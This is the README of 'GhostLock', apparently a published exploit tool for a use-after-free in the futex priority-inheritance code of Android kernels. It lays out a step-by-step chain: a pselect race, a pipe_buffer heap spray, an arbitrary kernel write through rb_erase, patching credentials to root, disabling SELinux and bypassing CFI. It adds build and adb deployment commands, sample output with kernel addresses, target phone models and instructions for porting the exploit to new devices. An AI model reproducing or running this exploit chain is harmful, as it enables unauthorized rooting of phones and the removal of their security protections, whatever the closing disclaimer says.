GhostLock - CVE-2026-43499 Local Privilege Escalation Exploit

Vulnerability Overview

CVE ID: CVE-2026-43499
Vulnerability Type: futex PI (priority inheritance) stack UAF (Use-After-Free)
Affected Range: Linux kernel 6.1 ~ 6.12 (Android GKI)
Exploitation Impact: Local privilege escalation + SELinux disable, obtain root shell

How It Works

Vulnerability Trigger Path

用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入

Exploit Chain

1. Trigger: Race via pselect() + futex PI to free rt_mutex_waiter on the kernel stack
2. Heap Layout Control: Spray the kernel heap with pipe_buffer to construct a fake rt_mutex_waiter
3. Arbitrary Write: Use rb_erase() tree operations to write controlled pointers to target addresses
4. Privilege Escalation:
   • Patch the cred structure: uid/gid → 0, capabilities → all enabled
   • Disable SELinux: selinux_state.enforcing → 0
5. Verification: Rescan ashmem_fops to confirm CFI integrity

Project Structure

GhostLock/
├── README.md                    # 本文档
├── src/
│   ├── core/                    # 核心利用代码
│   │   ├── main.c               # 主入口，漏洞触发
│   │   ├── pipe.c               # pipe_buffer 喷射
│   │   ├── fops.c               # 文件操作劫持
│   │   ├── root.c               # 提权 + SELinux 禁用
│   │   ├── slide.c              # 内核地址随机化处理
│   │   ├── util.c               # 工具函数
│   │   ├── miniadb.c            # 迷你 ADB 服务器
│   │   ├── common.h             # 公共定义
│   │   ├── target.h             # 目标配置
│   │   ├── offset.h             # 偏移量包含
│   │   ├── runtime_offsets.h    # 运行时偏移表
│   │   └── kernelsnitch/        # 内核地址探测
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # 设备适配
│       ├── offsets.h            # 偏移量结构定义
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # 辅助工具
│   └── extract_btf.py           # BTF 偏移量提取脚本
├── btf_*.py                     # BTF 分析脚本集合
├── Makefile                     # 构建脚本
├── compile.cmd                  # Windows 编译脚本
├── build.rsp                    # 编译响应文件
└── ghostlock                    # 编译产物（ELF aarch64）

Supported Devices

Compilation

Requirements

• Android NDK r27c or later
• Python 3.x (for BTF analysis)
• Linux/macOS/WSL (Linux recommended)

Build Steps

# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. 编译
make

# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Windows Build

# 使用提供的 compile.cmd
compile.cmd

Usage

Prerequisites

1. USB debugging is enabled on the device
2. ADB drivers are installed on the computer
3. The device is connected to the computer via USB

Steps

# 1. 确认设备连接
adb devices

# 2. 确认内核版本（必须匹配）
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock

Example Run Output

[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Success Indicators

• # prompt appears (root shell)
• id command shows uid=0(root)
• getenforce returns Permissive

Technical Details

Kernel Memory Layout

KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Key Symbol Offsets (Find X8)

Structure Offsets (BTF Verified)

Exploit Path

1. kernelsnitch - Scan the direct_map region to locate mm_struct
2. pipe spray - Occupy the freed waiter memory with pipe_buffer
3. pselect trigger - Trigger UAF to reuse the freed waiter
4. rb_erase write - Achieve arbitrary write via red-black tree operations
5. cred patch - Modify the current process credentials
6. SELinux disable - Disable mandatory access control

Device Adaptation

Adding a New Device

1. Extract the kernel image:

   root@kitploit:~

   # 从手机提取 boot.img
   adb pull /dev/block/by-name/boot boot.img
   
   # 或者从固件包中提取
   

2. Extract kallsyms:

   root@kitploit:~

   # 使用 vmlinux-to-elf
   python3 -m vmlinux_to_elf boot.img
   # 选择 "Extract kallsyms" 选项
   

3. Extract BTF information:

   root@kitploit:~

   python3 btf_task2.py > task_full.txt
   python3 btf_structs2.py > structs.txt
   

4. Create a device entry:

   root@kitploit:~

   mkdir -p src/devices/mydevice
   # 复制现有条目作为模板
   cp src/devices/findx8/offsets.h src/devices/mydevice/
   # 修改偏移量
   

5. Register the device: Add the following to src/devices/offsets.h:

   root@kitploit:~

   #include "mydevice/offsets.h"
   

Offset Acquisition Methods

Utility Scripts

BTF Analysis Scripts

# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt

# 提取所有关键结构体
python3 btf_structs2.py > structs.txt

# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt

kallsyms Extraction

# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# 或者使用自定义脚本
python3 run_kallsyms_finder.py

Security Notice

⚠️ Warning: This tool is intended for security research and authorized testing only. Using it on others' devices without authorization is illegal.

Known Limitations

• USB debugging must be enabled
• ADB connection required (cannot be exploited remotely)
• Kernel version must match exactly
• Some devices may have additional security mechanisms

CFI Protection

This exploit can bypass the kernel's Control Flow Integrity (CFI) protection by:

1. Verifying the validity of the ashmem_fops address
2. Using copy_splice_read as a legitimate call target
3. Rescanning to confirm CFI integrity

Debugging

FAQ

Q: "no offsets for kernel: xxx" appears A: The kernel version is not supported; you need to add a device entry

Q: The exploit hangs A: The race condition may have failed; retry a few times

Q: Kernel panic occurs A: Unlikely (panic_on_oops is not set), but you can check dmesg

Debug Output

# 启用详细输出
adb shell /data/local/tmp/ghostlock -v

# 查看内核日志
adb shell dmesg | tail -50

Related Resources

• CVE-2026-43499 Details
• GhostLock Original Research
• Android GKI Kernel

License

This project is licensed under the MIT License.

Acknowledgements

• Thanks to all security researchers for their contributions
• Thanks to the Android security team for their response
• Thanks to the open source community for their support

Last updated: August 13, 2026
Author: wzh
Contact: [email protected]